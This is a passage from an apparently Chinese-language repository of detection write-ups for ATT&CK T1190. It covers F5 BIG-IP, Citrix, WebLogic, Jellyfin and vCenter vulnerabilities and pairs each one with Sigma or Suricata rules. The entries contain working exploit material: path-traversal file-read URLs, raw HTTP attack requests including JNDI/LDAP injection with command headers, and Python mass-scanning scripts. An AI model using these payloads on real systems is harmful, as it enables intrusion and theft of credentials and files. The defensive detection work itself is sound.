Quick.Cms访问控制错误漏洞------------------\n<https://www.anquanke.com/vul/id/2332309>\n"
  },
  {
    "path": "Web/2020/T1190-CVE-2020-5902-F5_BIG-IP_远程代码执行漏洞.md",
    "content": "# T1190-CVE-2020-5902-F5_BIG-IP-远程代码执行\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\nF5 BIG-IP 是美国F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。在 F5 BIG-IP 产品的流量管理用户页面 (TMUI)/配置实用程序的特定页面中存在一处远程代码执行漏洞。\n未授权的远程攻击者通过向该页面发送特制的请求包，可以造成任意Java 代码执行。进而控制 F5 BIG-IP 的全部功能，包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。\n漏洞影响范围：\n11.6.x, 12.1.x, 13.1.x, 14.1.x, 15.0.x, 15.1.x\n## 检测日志\nHTTP.log\n## 测试复现\n漏洞利用建议参考：\nF5 BIG-IP 远程代码执行漏洞（CVE-2020-5902） 漏洞利用\n<https://blog.csdn.net/wuyou1995/article/details/107170186/>\ncve-2020-5902 RCE的payload以及绕过方式\n<https://www.cnblogs.com/potatsoSec/p/13263806.html>\n## 测试留痕\n暂无实测，故无留痕。直接引用漏洞利用建议参考中的案例数据进行特征提取。\n### 文件读取POC\n```\nyml\ncurl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'\nhttps://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd\nhttps://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts\nhttps://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license\nhttps://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf\n```\n### 通过java反序列化绕过waf的payload\n```\nyml\nString dburl = \"jdbc:hsqldb:https://\" + server +\n                               \":443/tmui/login.jsp/..%3b/hsqldb/\"; #截取部分内容\n```\n## 检测规则/思路\n### sigma规则\n```\nyml\ntitle: CVE-2020-5902 F5 BIG-IP 远程代码执行漏洞\nstatus: experimental\nreferences:\n    - https://blog.csdn.net/wuyou1995/article/details/107170186/\n    - https://www.cnblogs.com/potatsoSec/p/13263806.html\nauthor: Florian Roth\ntranslator: 12306Bro\ndate: 2020/07/05\nlogsource:\n    category: webserver\ndetection:\n    selection_base:\n        c-uri|contains:\n            - '/tmui/'\n            - '/hsqldb'\n    selection_traversal:\n        c-uri|contains:\n            - '..;/'\n            - '.jsp/..'\n    condition: selection_base and selection_traversal\nfields:\n    - c-ip\n    - c-dns\nfalsepositives:\n    - Unknown\ntags:\n    - attack.initial_access\n    - attack.t1190\nlevel: critical\n```\n### 建议\n建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nF5 BIG-IP 远程代码执行漏洞（CVE-2020-5902） 漏洞利用\n<https://blog.csdn.net/wuyou1995/article/details/107170186/>\ncve-2020-5902 RCE的payload以及绕过方式\n<https://www.cnblogs.com/potatsoSec/p/13263806.html>\n"
  },
  {
    "path": "Web/2020/T1190-CVE-2020-8193-CVE-2020-8195.md",
    "content": "# T1190-CVE-2020-8193/CVE-2020-8195\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\nCitrix Systems Citrix Application Delivery Controller（ADC）等都是美国思杰系统（Citrix Systems）公司的产品。Citrix Application Delivery Controller是一款应用交付控制器。Citrix Systems Gateway（Citrix Systems NetScaler Gateway）是一套安全的远程接入解决方案。Citrix System SDWAN WAN-OP是一款SD-WAN（虚拟软件定义的广域网）设备。Citrix Systems Citrix ADC、Citrix Gateway和Citrix SDWAN WAN-OP中存在安全漏洞。攻击者可利用该漏洞绕过权限限制。\n## 检测日志\nHTTP.log\n## 测试复现\n漏洞利用方式建议参考：\nCitrix Systems产品安全漏洞 CVE-2020-8193, CVE-2020-8195 and CVE-2020-8196 poc\n<https://www.cnblogs.com/potatsoSec/p/13281577.html>\nCitrix安全研究历险记\n<https://blog.unauthorizedaccess.nl/2020/07/07/adventures-in-citrix-security-research.html>\n## 测试留痕\n暂无实测，截取部分公开资料内容作为留痕数据。\n### 删除文件\n```\nyml\nPOST /rapi/filedownload?filter=remove:1,path:%2ftmp%2ftest HTTP/1.1\nHost: citrix.local\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://citrix.local/menu/neo\nIf-Modified-Since: Thu, 01 Jan 1970 05:30:00 GMT\nrand_key: 2061490565.1580290269373855\nDNT: 1\nX-NITRO-USER: henk\nX-NITRO-PASS: henk\nConnection: close\nCookie: startupapp=neo; is_cisco_platform=0; st_splitter=350px; rdx_pagination_size=25%20Per%20Page; SESSID=05afba59ef8e0e35933f3bc266941337\nContent-Type: application/xml\nContent-Length: 31\n<clipermission></clipermission>\n```\n以上内容截取自<https://www.cnblogs.com/potatsoSec/p/13281577.html>\n### 获取默认所有签名\n```\nyml\nPOST /pcidss/report?type=all_signatures&sid=254&username=nsroot&profile_name=default&set=0&sig_name=_default_signature_&sig_start_no=1 HTTP/1.1\nHost: citrix.local\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://citrix.local/pcidss/launch_report?type=main\nContent-Type: application/xml\nContent-Length: 0\nDNT: 1\nConnection: close\nUpgrade-Insecure-Requests: 1\n```\n以上内容截取自<https://blog.unauthorizedaccess.nl/2020/07/07/adventures-in-citrix-security-research.html>\n## 检测规则/思路\n### sigma规则\n```\nyml\ntitle: 检测可疑的CVE-2020-8193/CVE-2020-8195\nreferences:\n    - https://www.cnblogs.com/potatsoSec/p/13281577.html\n    - https://research.nccgroup.com/2020/07/10/rift-citrix-adc-vulnerabilities-cve-2020-8193-cve-2020-8195-and-cve-2020-8196-intelligence/\nstatus: experimental\ndate: 2020/07/10\ntags:\n    - attack.initial_access\n    - attack.t1190\nlogsource:\n    category: webserver\ndetection:\n    selection1:\n        c-uri|contains:\n            - '/rapi/filedownload?filter=path:%2F' #删除文件时POST请求，URL路径包含的字段。\n    selection2:\n        c-uri|contains|all:\n            - '/pcidss/report' #获取所有默认签名时POST请求URL内包含的字段\n            - 'type=all_signatures'\n            - 'sig_name=_default_signature_'\n    condition: 1 of them\nfields:\n    - client_ip\n    - vhost\n    - url\n    - response\nfalsepositives:\n    - Unknown\nlevel: critical\n```\n### 建议\n建议使用HTTP流量+安全设备进行检测分析，研判攻击是否成功。\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\n"
  },
  {
    "path": "Web/2021/T1190-CVE-2021-2109_Weblogic_LDAP_远程代码执行漏洞.md",
    "content": "# T1190-CVE-2021-2109_Weblogic_LDAP_远程代码执行漏洞-----------------\n## 来自ATT&CK的描述-----------------\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。-----------------\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。-----------------\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。-----------------\n## 测试案例-----------------\n2021年1月20日，绿盟科技监测发现Oracle官方发布了2021年1月关键补丁更新公告CPU（Critical Patch Update），共修复了329个不同程度的漏洞，其中包括7个影响WebLogic的严重漏洞（CVE-2021-1994、CVE-2021-2047、CVE-2021-2064、CVE-2021-2108、CVE-2021-2075、CVE-2019-17195、CVE-2020-14756），未经身份验证的攻击者可通过此次的漏洞实现远程代码执行。CVSS评分均为9.8，利用复杂度低。建议用户尽快采取措施，对上述漏洞进行防护。-----------------\n### 0x1 影响版本-----------------\n```\nyml\nWebLogic Server 10.3.6.0.0-----------------\nWebLogic Server 12.1.3.0.0-----------------\nWebLogic Server 12.2.1.3.0-----------------\nWebLogic Server 12.2.1.4.0-----------------\nWebLogic Server 14.1.1.0.0-----------------\n```\n- ----------------\n### 0x2 漏洞详情-----------------\n可参考：-----------------\nWeblogic LDAP 远程代码执行漏洞 CVE-2021-210：<https://blog.csdn.net/m0_46257936/article/details/112984836>-----------------\n【漏洞复现系列】超详细复现过程_CVE-2021-2109_Weblogic Server远程代码执行漏洞复现_JDK版本对比：<https://www.cnblogs.com/huaflwr/p/14317388.html>-----------------\n## 检测日志-----------------\nHTTP.log，主要是基于POC报文进行检测，POC如下：-----------------\n```\nyml\nPOST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.122;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1\nHost: 192.168.122.9:7001\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9\ncmd:whoami\nCookie:  ADMINCONSOLESESSION=8xUkHS93pNBdw9iRlb1XOoH5Iy5qm65NmKad54eCEtDI2PErEIXy!-181493417\nConnection: close-----------------\n配合未授权访问后台-----------------\nPOST /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.122;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1\nHost: 192.168.122.9:7001\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9\ncmd:pwd\nCookie:  ADMINCONSOLESESSION=8xUkHS93pNBdw9iRlb1XOoH5Iy5qm65NmKad54eCEtDI2PErEIXy!-181493417\nConnection: close-----------------\n```\n- ----------------\n## 测试复现-----------------\n可参考漏洞详情部分-----------------\n## 检测规则/思路-----------------\n### sigma规则-----------------\n```\nyml\ntitle: Oracle WebLogic CVE-2021-2109 HTTP协议远程代码执行漏洞检测\nstatus: 测试状态\ndescription: 基于HTTP日志进行检测\nreferences:\n    - https://blog.csdn.net/m0_46257936/article/details/112984836\n    - https://www.cnblogs.com/Yang34/archive/2004/01/13/14327495.html\nlogsource:\n    category: webserver #日志源：webserver\ndetection:\n    selection:\n        cs-method: 'GET' #请求方法为GET\n        c-uri|contains|all: #请求url中包含以下任意内容\n            - 'com.bea.console.handles.JndiBindingHandle'\n            - 'ldap://'\n            - 'AdminServer'\n    condition: selection\nfields:\n    - c-ip\n    - c-dns\nfalsepositives: #误报情况 未知\n    - Unknown\nlevel: critical\ntags:\n    - attack.t1190\n    - attack.initial_access\n    - cve.2021-2109-----------------\n```\n- ----------------\n### 建议-----------------\n建议使用HTTP流量+安全设备(天眼)进行检测分析判断攻击是否成功。-----------------\n## 参考推荐-----------------\nMITRE-ATT&CK-T1190-----------------\n<https://attack.mitre.org/techniques/T1190/>-----------------\nWeblogic LDAP 远程代码执行漏洞 CVE-2021-2109-----------------\n<https://blog.csdn.net/m0_46257936/article/details/112984836>-----------------\n【漏洞复现系列】超详细复现过程_CVE-2021-2109_Weblogic Server远程代码执行漏洞复现_JDK版本对比-----------------\n<https://www.cnblogs.com/huaflwr/p/14317388.html>-----------------\nCVE-2021-2109 Weblogic Server远程代码执行-----------------\n<https://www.cnblogs.com/Yang34/archive/2004/01/13/14327495.html>\n"
  },
  {
    "path": "Web/2021/T1190-CVE-2021-21402-Jellyfin任意文件读取漏洞.md",
    "content": "# T1190-CVE-2021-21402-Jellyfin任意文件读取漏洞\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\nJellyfin是一个自由软件媒体系统，在10.7.1版之前的Jellyfin中，攻击者可以通过精心构造的请求读取Jellyfin服务器端的任意文件，当使用Windows主机作为操作系统时，此问题将变得跟加普遍，该漏洞已在10.7.1版本中修复。\n影响范围：Jellyfin<10.7.1\n## 检测日志\nHTTP\n## 测试复现\n### 利用POC\n从服务器下载带有密码的jellyfin.db：\n/Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/\n未经授权读取windows的文件\nGET  /Audio/anything/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.aac/\nGET /Audio/anything/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/\n读取host文件\n/Audio/anything/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5CSystem32%5Cdrivers%5Cetc%5Chosts/stream.mp3/\n读取带有密码的数据库文件\n/Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/\n### Python_POC\n```\npython\n# 批量ip\nimport requests\nimport sys\nimport urllib3\nurllib3.disable_warnings()\n- -------------------------\nif len(sys.argv)!=2:\n    print('Usage: python3  xxx.py  urls.txt')\n    sys.exit()\ntxt= sys.argv[1]\nf=open(txt,'r+')\nfor i in f.readlines(): --------------------------\n    url=i.strip()\n    url=url+\"/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/\"\n    headers = {\n        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36',\n                \"Content-Type\": \"application/octet-stream\"\n    }\n    response=requests.get(url,headers=headers,verify=False)\n    if response.status_code==200:\n        print(url+\"  \"+\"存在漏洞\")\n    - -------------------------\n    else:\n        print(url+\"  \"+\"不存在漏洞\")\n```\n```\npython\n# 单个ip\nimport requests\nimport sys\nimport urllib3\nurllib3.disable_warnings()\n- -------------------------\nif len(sys.argv)!=2: --------------------------\n    print('Usage: python3  xxx.py  http://xxx.xxx.xxx.xxx ')\n    sys.exit()\nurl= sys.argv[1]\nurl=url+\"/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/\"\nheaders = {\n        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36',\n                \"Content-Type\": \"application/octet-stream\"\n    }\nresponse=requests.get(url,headers=headers,verify=False)\nif response.status_code==200:\n    print(\"存在漏洞\")\n    - -------------------------\nelse:\n    print(\"不存在漏洞\")\n```\n## 测试留痕\n```\nyml\nGET /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/ HTTP/1.1\nHost: 10.16.45.164:5577\nConnection: keep-alive\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.68\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6\nHTTP/1.1 200 OK\nDate: Thu, 08 Apr 2021 10:13:59 GMT\nContent-Type: application/octet-stream\nServer: Microsoft-NetCore/2.0, UPnP/1.0 DLNADOC/1.50\nContent-Length: 331776\nCache-Control: public\nLast-Modified: Sun, 04 Apr 2021 15:34:24 GMT\nAccept-Ranges: bytes\nAge: 326376\nAccess-Control-Allow-Credentials: true\nAccess-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Cookie, Date, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, Slug, Transfer-Encoding, Want-Digest, X-MediaBrowser-Token, X-Emby-Authorization\nAccess-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS\nAccess-Control-Allow-Origin: 110.93.247.208:5577\nSQLite format 3......@  ...@...Q...............................................................@..?...........................................................}...?+...indexIX_AccessSchedules_UserIdAccessSchedules.CREATE INDEX \"IX_AccessSchedules_UserId\" ON \"AccessSchedules\" (\"UserId\").<\n..##..?tablePreferencesPreferences.CREATE TABLE \"Preferences\" (\n    \"Id\" INTEGER NOT NULL CONSTRAINT \"PK_Preferences\" PRIMARY KEY AUTOINCREMENT,\n    \"Kind\" INTEGER NOT NULL,\n    \"Value\" TEXT NOT NULL,\n    \"RowVersion\" INTEGER NOT NULL,\n    \"Preference_Preferences_Guid\" TEXT NULL,\n    CONSTRAINT \"FK_Preferences_Users_Preference_Preferences_Guid\" FOREIGN KEY (\"Preference_Preferences_Guid\") REFERENCES \"Users\" (\"Id\") ON DELETE RESTRICT\n).? ..##..EtablePermissionsPermissions\nCREATE TABLE \"Permissions\" (\n    \"Id\" INTEGER NOT NULL CONSTRAINT \"PK_Permissions\" PRIMARY KEY AUTOINCREMENT,\n    \"Kind\" INTEGER NOT NULL,\n    \"Value\" INTEGER NOT NULL,\n    \"RowVersion\" INTEGER NOT NULL,\n    \"Permission_Permissions_Guid\" TEXT NULL,\n    CONSTRAINT \"FK_Permissions_Users_Permission_Permissions_Guid\" FOREIGN KEY (\"Permission_Permissions_Guid\") REFERENCES \"Users\" (\"Id\") ON DELETE RESTRICT\n).X...!!..{tableImageInfosImageInfos CREATE TABLE \"ImageInfos\" (\n    \"Id\" INTEGER NOT NULL CONSTRAINT \"PK_ImageInfos\" PRIMARY KEY AUTOINCREMENT,\n    \"UserId\" TEXT NULL,\n    \"Path\" TEXT NOT NULL,\n    \"LastModified\" TEXT NOT NULL,\n    CONSTRAINT \"FK_ImageInfos_Users_UserId\" FOREIGN KEY (\"UserId\") REFERENCES \"Users\" (\"Id\") ON DELETE RESTRICT\n).....++..etableAccessSchedulesAccessSchedules.CREATE TABLE \"AccessSchedules\" (\n    \"Id\" INTEGER NOT NULL CONSTRAINT \"PK_AccessSchedules\" PRIMARY KEY AUTOINCREMENT,\n    \"UserId\" TEXT NOT NULL,\n    \"DayOfWeek\" INTEGER NOT NULL,\n    \"StartHour\" REAL NOT NULL,\n    \"EndHour\" REAL NOT NULL,\n    CONSTRAINT \"FK_AccessSchedules_Users_UserId\" FOREIGN KEY (\"UserId\") REFERENCES \"Users\" (\"Id\") ON DELETE CASCADE\n)..........tableUsersUsers.CREATE TABLE \"Users\" (\n    \"Id\" TEXT NOT NULL CONSTRAINT \"PK_Users\" PRIMARY KEY,\n    \"Username\" TEXT NOT NULL,\n    \"Password\" TEXT NULL,\n    \"EasyPassword\" TEXT NULL,\n    \"MustUpdatePassword\" INTEGER NOT NULL,\n    \"AudioLanguagePreference\" TEXT NULL,\n    \"AuthenticationProviderId\" TEXT NOT NULL,\n    \"PasswordResetProviderId\" TEXT NOT NULL,\n    \"InvalidLoginAttemptCount\" INTEGER NOT NULL,\n    \"LastActivityDate\" TEXT NULL,\n    \"LastLoginDate\" TEXT NULL,\n    \"LoginAttemptsBeforeLockout\" INTEGER NULL,\n    \"SubtitleMode\" INTEGER NOT NULL,\n    \"PlayDefaultAudioTrack\" INTEGER NOT NULL,\n    \"SubtitleLanguagePreference\" TEXT NULL,\n    \"DisplayMissingEpisodes\" INTEGER NOT NULL,\n    \"DisplayCollectionsView\" INTEGER NOT NULL,\n    \"EnableLocalPassword\" INTEGER NOT NULL,\n    \"HidePlayedInLatest\" INTEGER NOT NULL,\n    \"RememberAudioSelections\" INTEGER NOT NULL,\n    \"RememberSubtitleSelections\" INTEGER NOT NULL,\n    \"EnableNextEpisodeAutoPlay\" INTEGER NOT NULL,\n    \"EnableAutoLogin\" INTEGER NOT NULL,\n    \"EnableUserPreferenceAccess\" INTEGER NOT NULL,\n    \"MaxParentalAgeRating\" INTEGER NULL,\n    \"RemoteClientBitrateLimit\" INTEGER NULL,\n    \"InternalId\" INTEGER NOT NULL,\n    \"SyncPlayAccess\" INTEGER NOT NULL,\n    \"RowVersion\" INTEGER NOT NULL\n))...=...indexsqlite_autoindex_Users_1Users.P...++.Ytablesqlite_sequencesqlite_sequence.CREATE TABLE sqlite_sequence(name,seq).)...%%...tableActivityLogsActivityLogs.CREATE TABLE \"ActivityLogs\" (\n    \"Id\" INTEGER NOT NULL CONSTRAINT \"PK_ActivityLogs\" PRIMARY KEY AUTOINCREMENT,\n    \"Name\" TEXT NOT NULL,\n    \"Overview\" TEXT NULL,\n    \"ShortOverview\" TEXT NULL,\n    \"Type\" TEXT NOT NULL,\n    \"UserId\" TEXT NOT NULL,\n    \"ItemId\" TEXT NULL,\n    \"DateCreated\" TEXT NOT NULL,\n    \"LogSeverity\" INTEGER NOT NULL,\n    \"RowVersion\" INTEGER NOT NULL\n).X...77..Otable__EFMigrationsHistory__EFMigrationsHistory.CREATE TABLE \"__EFMigrationsHistory\" (\n    \"MigrationId\" TEXT NOT NULL CONSTRAINT \"PK___EFMigrationsHistory\" PRIMARY KEY,\n    \"ProductVersion\" TEXT NOT NULL\n)I...]7..indexsqlite_autoindex___EFMigrationsHistory_1__EFMigrationsHistor\n......\n```\n## 检测规则/思路\n### Suricata规则\n```\ns\nalert http any any -> any any (msg:\"CVE-2021-21402-Jellyfin任意文件读取\";flow:established,to_server;content:\"GET\";http_method;content:\"/Audio/\";pcre:\"/hls/\";pcre:\"/stream/\";http_uri;reference:url,www.cnblogs.com/0day-li/p/14637768.html;classtype:web-application-attck;sid:3002021;rev:1;)\n```\n### 建议\n流量+安全设备比较容易检测到此攻击行为。\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nJellyfin任意文件读取漏洞（CVE-2021-21402）\n<https://www.cnblogs.com/0day-li/p/14637768.html>\n"
  },
  {
    "path": "Web/2021/T1190-CVE-2021-21972 Vmware vcenter未授权任意文件读取:RCE漏洞.md",
    "content": "# T1190-CVE-2021-21972 Vmware vcenter未授权任意文件/RCE漏洞\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\n2021年02月24日，某些平台监测到 Vmware官方发布了vCenter Server安全更新，修复了vSphereClient (HTML5)在vCenter Server插件vRealizeOperations（vROps）中的一个远程代码执行漏洞（CVE-2021-21972）。VMware  vCenter Server是美国威睿（VMware）公司的一套服务器和虚拟化管理软件。该软件提供了一个用于管理VMware vCenter环境的集中式平台，可自动实施和交付虚拟基础架构。攻击者可通过访问web管理端向vCenter Server发送请求从而在操作系统上执行任意命令或者上传一个webshell到vcenter服务器的任意位置执行\n具有网络访问端口443的恶意行为者可能会利用此问题在托管vCenter Server的基础操作系统上以不受限制的特权执行命令。这会影响VMware vCenter Server（7.0 U1c之前的7.x，6.7 U3l之前的6.7和6.5 U3n之前的6.5）和VMware Cloud Foundation（4.2.3之前的4.x和3.10.1.2之前的3.x）。\n此外，VMware还修复了VMware ESXi中一个重要的堆溢出漏洞（CVE-2021-21974）与VMware vSphere中的一个SSRF漏洞（CVE-2021-21973）。\n### 0x1 影响版本\n```\nyml\nVMware vCenter Server 7.0系列 < 7.0.U1c\nVMware vCenter Server 6.7系列 < 6.7.U3l\nVMware vCenter Server 6.5系列 < 6.5 U3n\nVMware ESXi 7.0系列 < ESXi70U1c-17325551\nVMware ESXi 6.7系列 < ESXi670-202102401-SG\nVMware ESXi 6.5系列 < ESXi650-202102101-SG\n```\n### 0x2 漏洞详情\n可参考：\nCVE-2021-21972 Vmware vcenter未授权任意文件/RCE漏洞：<https://blog.csdn.net/weixin_43650289/article/details/114055417>\nCVE-2021-21972 vCenter 远程命令执行漏洞分析：<https://cert.360.cn/report/detail?id=62aac9b181bcfcb2b5faf33c6907a3dc>\nCVE-2021-21972-vCenter-6.5-7.0-RCE-POC：<https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC/blob/main/CVE-2021-21972.py>\n## 检测日志\nHTTP.log，主要是基于POC报文进行检测，POC如下：\n```\npython\nimport requests\nfrom requests.packages import urllib3\nurllib3.disable_warnings()\nimport argparse\nimport os\ndef url():\n  parser = argparse.ArgumentParser(description='vCenter 6.5-7.0 RCE 漏洞复现(CVE-2021-21972)POC')\n  parser.add_argument('target_url',type=str,help='The target address,example: https://192.168.140.153:4445')\n  args = parser.parse_args()\n  global url\n  url = args.target_url\n  if url.startswith('http://') or url.startswith('https://'):\n   pass\n  else:\n   print('[-]Please include http:// or https:// in the URL!!')\n   os._exit(0)\n  if url.endswith('/'):\n   url = url[:-1]\n  print('[+]author:chenchen')\n  print(\"[-]目标地址:\",url)\n  print(\"[-]正在执行漏洞检测...\")\n  return url\ndef poc():\n headers={\n  'User-Agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Mobile Safari/537.36',\n  \"Content-Type\":\"application/x-www-form-urlencoded\"\n }\n url_v = url + '/ui/vropspluginui/rest/services/updateova'\n try:\n  code = requests.get(url=url_v,headers=headers,timeout=4,verify=False).status_code\n  print('status_code:',code)\n  if code == 405:\n   print('[+]漏洞存在')\n  else:\n   print('[-]漏洞不存在')\n except:\n  print('[-]发生错误')\nif __name__ == '__main__':\n url()\n poc()\n```\n## 测试复现\n可参考漏洞详情部分\n## 检测规则/思路\n### sigma规则\n```\nyml\ntitle: CVE-2021-21972 Vmware vcenter未授权任意文件/RCE漏洞\nstatus: 测试状态\ndescription: 基于HTTP日志进行检测\nreferences:\n    - https://cert.360.cn/report/detail?id=62aac9b181bcfcb2b5faf33c6907a3dc\n    - https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC/blob/main/CVE-2021-21972.py\nlogsource:\n    category: webserver #http_log\ndetection:\n    selection:\n        cs-method: 'POST' #请求方法为post\n        c-uri: #请求url中包含以下路径\n            - '/ui/vropspluginui/rest/services/uploadova'\n    condition: selection\nfields:\n    - c-ip\n    - c-dns\nfalsepositives:\n    - OVA uploads to your VSphere appliance\nlevel: high\n```\n### 建议\n建议使用HTTP流量+安全设备(如天眼等)进行检测分析判断攻击是否成功。\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nCVE-2021-21972 Vmware vcenter未授权任意文件/RCE漏洞\n<https://blog.csdn.net/weixin_43650289/article/details/114055417>\nCVE-2021-21972 